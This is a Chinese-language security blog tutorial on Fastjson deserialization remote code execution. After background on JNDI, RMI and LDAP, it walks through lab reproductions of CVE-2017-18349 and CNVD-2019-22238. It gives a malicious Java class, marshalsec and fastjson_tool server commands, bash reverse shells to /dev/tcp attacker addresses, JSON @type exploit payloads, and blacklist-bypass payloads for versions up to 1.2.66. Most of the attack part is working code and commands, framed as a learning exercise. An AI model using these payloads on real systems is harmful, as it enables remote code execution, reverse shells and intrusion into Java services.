<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|最全fastjson漏洞復現與繞過

    VSole2021-08-26 07:58:37

    簡介

    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。

    在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:

    JNDI

    JNDI (Java Naming and Directory Interface)是一組應用程序接口,提供了查找和訪問命名和目錄服務的通用、統一的接口,用于定位網絡、用戶、對象和服務等資源,是J2EE規范中是重要的規范之一。(可以理解為JNDIJ2EE中是一臺交換機,將組件、資源、服務取了名字,再通過名字來查找)

    JNDI底層支持RMI遠程對象,JNDI接口可以訪問和調用RMI注冊過的服務。JNDI根據名字動態加載數據,支持的服務有DNS、LDAP、CORBA、RMI

    RMI

    遠程方法調用

    遠程方法調用是分布式編程中的一個基本思想。實現遠程方法調用的技術有很多,比如:CORBA、WebService,這兩種都是獨立于編程語言的。而RMI(Remote Method Invocation)是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法。RMI依賴的通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI中對象是通過序列化方式進行編碼傳輸的。

    遠程對象

    使用遠程方法調用,必然會涉及參數的傳遞和執行結果的返回。參數或者返回值可以是基本數據類型,當然也有可能是對象的引用。所以這些需要被傳輸的對象必須可以被序列化,這要求相應的類必須實現 java.io.Serializable 接口,并且客戶端的serialVersionUID字段要與服務器端保持一致。

    任何可以被遠程調用方法的對象必須實現 java.rmi.Remote 接口,遠程對象的實現類必須繼承UnicastRemoteObject類。如果不繼承UnicastRemoteObject類,則需要手工初始化遠程對象,在遠程對象的構造方法的調用UnicastRemoteObject.exportObject()靜態方法。如下:

    public class HelloImpl implements IHello {
        protected HelloImpl() throws RemoteException {
            UnicastRemoteObject.exportObject(this, 0);
        }
        @Override
        public String sayHello(String name) {
            System.out.println(name);
            return name;
        }
    }
    

    在JVM之間通信時,RMI對遠程對象和非遠程對象的處理方式是不一樣的,它并沒有直接把遠程對象復制一份傳遞給客戶端,而是傳遞了一個遠程對象的Stub,Stub基本上相當于是遠程對象的引用或者代理。Stub對開發者是透明的,客戶端可以像調用本地方法一樣直接通過它來調用遠程方法。Stub中包含了遠程對象的定位信息,如Socket端口、服務端主機地址等等,并實現了遠程調用過程中具體的底層網絡通信細節,所以RMI遠程調用邏輯是這樣的:

    從邏輯上來看,數據是在Client和Server之間橫向流動的,但是實際上是從Client到Stub,然后從Skeleton到Server這樣縱向流動的。

    1.Server端監聽一個端口,這個端口是JVM隨機選擇的;

    2.Client端并不知道Server遠程對象的通信地址和端口,但是Stub中包含了這些信息,并封裝了底層網絡操作;

    3.Client端可以調用Stub上的方法;

    4.Stub連接到Server端監聽的通信端口并提交參數;

    5.遠程Server端上執行具體的方法,并返回結果給Stub;

    6.Stub返回執行結果給Client端,從Client看來就好像是Stub在本地執行了這個方法一樣;

    那怎么獲取Stub呢?

    RMI注冊表

    Stub的獲取方式有很多,常見的方法是調用某個遠程服務上的方法,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub,所以這里有個死循環問題。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象,默認監聽在傳說中的1099端口上,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令。

    要注冊遠程對象,需要RMI URL和一個遠程對象的引用。

    IHello rhello = new HelloImpl();
    LocateRegistry.createRegistry(1099);
    Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
    

    LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯。服務端應用程序可以向RMI注冊表中注冊遠程對象,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub。

    Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
    IHello rhello = (IHello) registry.lookup("hello");
    rhello.sayHello("test");
    

    使用RMI Registry之后,RMI的調用關系是這樣的:

    所以其實從客戶端角度看,服務端應用是有兩個端口的,一個是RMI Registry端口(默認為1099),另一個是遠程對象的通信端口(隨機分配的)。這個通信細節比較重要,真實利用過程中可能會在這里遇到一些坑。

    動態加載類

    RMI核心特點之一就是動態類加載,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class,動態加載的對象class文件可以使用Web服務的方式進行托管。這可以動態的擴展遠程應用的功能,RMI注冊表上可以動態的加載綁定多個RMI應用。對于客戶端而言,服務端返回值也可能是一些子類的對象實例,而客戶端并沒有這些子類的class文件,如果需要客戶端正確調用這些子類中被重寫的方法,則同樣需要有運行時動態加載額外類的能力。客戶端使用了與RMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端,客戶端通過HTTP請求下載這些類。

    這個概念比較重要,JNDI注入的利用方法中也借助了動態加載類的思路。

    這里涉及到的角色:客戶端、RMI注冊表、遠程對象服務器、托管class文件的Web服務器可以分別位于不同的主機上:


    LDAP

    LDAP(Lightweight Directory Access Protocol)是輕量級目錄訪問協議,用于訪問目錄服務,基于X.500目錄訪問協議

    JNDI注入

    簡單來說,JNDI (Java Naming and Directory Interface) 是一組應用程序接口,它為開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用JNDI在局域網上定位一臺打印機,也可以用JNDI來定位數據庫服務或一個遠程Java對象。JNDI底層支持RMI遠程對象,RMI注冊的服務可以通過JNDI接口來訪問和調用。

    JNDI支持多種命名和目錄提供程序(Naming and Directory Providers),RMI注冊表服務提供程序(RMI Registry Service Provider)允許通過JNDI應用接口對RMI中注冊的遠程對象進行訪問操作。將RMI服務綁定到JNDI的一個好處是更加透明、統一和松散耦合,RMI客戶端直接通過URL來定位一個遠程對象,而且該RMI服務可以和包含人員,組織和網絡資源等信息的企業目錄鏈接在一起。

    JNDI接口在初始化時,可以將RMI URL作為參數傳入,而JNDI注入就出現在客戶端的lookup()函數中,如果lookup()的參數可控就可能被攻擊。

    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory
    env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
    Context ctx = new InitialContext(env);
    Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test");
    

    CVE-2017-18349

    CVE-2017-18349即Fastjson1.2.24 反序列化漏洞RCE

    漏洞原理

    fastjson在解析json對象時,會使用autoType實例化某一個具體的類,并調用set/get方法訪問屬性。漏洞出現在Fastjson autoType處理json對象時,沒有對@type字段進行完整的安全性驗證,我們可以傳入危險的類并調用危險類連接遠程RMI服務器,通過惡意類執行惡意代碼,進而實現遠程代碼執行漏洞。

    影響版本為 fastjson < 1.2.25

    漏洞復現

    首先進入fastjson 1.2.24的docker環境,使用java -version查看一下java的版本為1.8.0_102。因為java環境為102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用鏈結合JNDI注入執行遠程命令

    安裝javac環境,這里直接使用20版本替換102

    cd /opt
    curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
    tar zxvf jdk-8u20-linux-x64.tar.gz
    rm -rf /usr/bin/java*
    ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
    javac -version
    java -version
    

    執行命令完成之后發現java版本已經變成了20

    編輯惡意類代碼,起名為evilclass.java

    import java.lang.Runtime;
    import java.lang.Process;
    public class evilclass{
    static {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands = {"touch", "/tmp/test"};
    Process pc = rt.exec(commands);
    pc.waitFor();
    } catch (Exception e) {
    // do nothing
    }
    }
    }
    

    使用javac編譯evilclass.java文件生成evilclass.class

    這里需要搭建RMI服務,首先下載marshalsec

    git clone https://github.com/mbechler/marshalsec.git
    

    安裝maven并編譯marshalsec生成jar

    apt-get install maven
    mvn clean package -DskipTests
    

    稍微等一下,可以看到已經創建成功

    我們進入到marshalsec的target目錄里面進行查看已經生成了marshalsec-0.0.3.3-SNAPSHOT-all.jar,然后使用marshalsec搭建一個RMI服務器,這里的ip就是你攻擊機的ip,端口可以隨意

    這里也可以使用啟動LDAP服務,效果是一樣的

    lsjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.8/#evilclass" 9999java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8/#evilclass" 9999
    

    這里我使用RMI,可以看到請求成功

    bp在靶機的fastjson頁面抓包

    這里需要改的有三個地方,第一個地方需要把GET方法改成POST方法,第二個地方需要添加Content-Type:application/json,第三個地方就是寫入漏洞利用的poc

    {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.8:9999/evilclass","autoCommit":true}}
    

    發包即可

    進入docker里查看發現已經創建了test文件

    若需要反彈shell只需要把java文件中的String[] commands改為bash反彈命令即可,這里不再贅述

    import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.8/9001 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
    

    CNVD‐2019‐22238

    CNVD-2019-22238即Fastjson1.2.47 反序列化漏洞

    漏洞原理

    Fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type”指定反序列化的類型,其次,Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法,那么當組件開啟了autotype功能并且反序列化不可信數據時,攻擊者可以構造數據,使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中,若指定類的指定方法中有可被惡意利用的邏輯(也就是通常所指的“Gadget”),則會造成一些嚴重的安全問題。并且在Fastjson 1.2.47及以下版本中,利用其緩存機制可實現對未開啟autotype功能的繞過。

    影響版本為 fastjson < 1.2.47

    漏洞復現

    首先進入1.2.47的docker環境

    這里的jdk版本還是8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以繼續利用RMI或者LDAP進行命令執行

    上面用了RMI進行命令執行,這里使用LDAP進行漏洞復現

    LDAP使用的工具為fastjson_tool,首先clone到本地

    git clone https://github.com/wyzxxz/fastjson_rce_tool.git
    

    首先啟動LDAP服務,8888為LDAP服務的端口,后面跟的是bash反彈shell的命令

    java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.1.8 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.1.10/9001 0>&1"
    

    這里執行命令之后給出了兩個payload,我們使用下面這個payload復制一下

    這里還是跟上面一樣需要改GET方法為POST方法,添加Content-Type:application/json,在就是把之前生成的payload復制

    {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.8:8888/Object","autoCommit":true}}
    

    發包使用nc監聽8888端口即可收到反彈shell

    fastjson深入探究

    首先如何快速判斷是否使用了fastjson呢

    第一種方法就是使用報錯回顯

    這里首先在web頁面抓包

    然后修改GET為POST,添加Content-Type:application/json,在發送一個{"test":",即可得到回顯

    第二種方法就是使用dnslog測試,使用如下payload,這里的dnslog使用dnslog獲得的網址進行替換即可

    {"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}    {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}Set[{"@type":"java.net.URL","val":"dnslog"}]Set[{"@type":"java.net.URL","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:0
    

    第三種方法就是使用nc監聽端口,在之前漏洞復現中已經講過,就不再贅述了

    我們在前面用到的都是遠程加載RMI或LDAP服務端上的惡意類,即遠程加載惡意類,在一些情況下,這種遠程加載惡意類的方法并不能百分之百能夠利用成功,這里就可以使用本地利用方式,就可以不用遠程加載惡意類

    首先生成test.java文件

    import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet {    public Test() throws IOException {        Runtime.getRuntime().exec("ping test.0g7slo.dnslog.cn");    }     @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {     }     public static void main(String[] args) throws Exception {        Test t = new Test();    }}
    

    這里就可以ping一下dnslog來查看攻擊是否成功,這里還有一種情況就是fastjson在真實情況下不出網,那么肯定是不能ping通的,這時候我們就可以選擇寫入webshell到web路徑,前提是要知道絕對路徑,或者是使用無文件回顯來利用

    編譯test.java生成class類文件

    javac test.java
    

    然后對class類文件進行base64編碼,這里使用到py腳本

    import base64fin = open(r"test.class", "rb")fout = open(r"base64.txt", "w")s = base64.encodestring(fin.read()).replace("", "")fout.write(s)fin.close()fout.close()
    

    運行之后就會把test.class文件轉換為base64.txt文件,這時候再把base64.txt文件替換到payload中即可在dnslog中回顯

    image-20210819102057605

    < 1.2.41

    第一個Fastjson反序列化漏洞爆出后,阿里在1.2.25版本設置了autoTypeSupport屬性默認為false,并且增加了checkAutoType()函數,通過黑白名單的方式來防御Fastjson反序列化漏洞,因此后面發現的Fastjson反序列化漏洞都是針對黑名單繞過來實現攻擊利用的目的的。

    com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名單,fastjson有個判斷條件判斷類名是否以"L"開頭、以";"結尾,是的話就提取出其中的類名在加載進來

    那么就可以構造如下exp

    {               "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",    "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit",    "autoCommit":true}
    

    < 1.2.42

    阿里在發現這個繞過漏洞之后做出了類名如果為L開頭,;結尾的時候就先去掉L;進行黑名單檢驗的方法,但是沒有考慮到雙寫或多寫的情況,也就是說這種方法只能防御一組L;,構造exp如下,即雙寫L;

    {               "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",    "dataSourceName":"rmi://x.x.x.x:9999/exp",    "autoCommit":true}
    

    < 1.2.47

    在1.2.47版本及以下的情況下,loadClass中默認cache為true,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.jdbcRowSetlmpl這個類,即可繞過黑名單

    { "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true }}
    

    < 1.2.66

    基于黑名單繞過,autoTypeSupport屬性為true才能使用,在1.2.25版本之后autoTypeSupport默認為false

    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
    
    
    fastjsonjndi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    1. 根據現有payload,檢測目標是否存在fastjson或jackson漏洞(工具僅用于檢測漏洞)2. 若存在漏洞,可根據對應payload進行后滲透利用3. 若出現新的漏洞時,可將最新的payload新增至txt中(需修改格式)4. 工具無法完全替代手工檢測,僅作為輔助工具使用
    Fastjson 漏洞利用技巧
    2022-05-08 15:26:11
    Fastjson自動化檢測及簡化攻擊步驟,讓你更有效率的Tips。
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
    本篇文章是Fastjson框架漏洞復現,記錄了近幾年來爆出的Fastjson框架漏洞,主要分為四個部分:Fastjson簡介、Fastjson環境搭建、Fastjson漏洞復現、Fastjson工具介紹。 本篇文章由淺入深地介紹了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用對Fastjson進行RCE。在學習Fastjson過程中閱讀了幾十篇中英文Fastjson
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类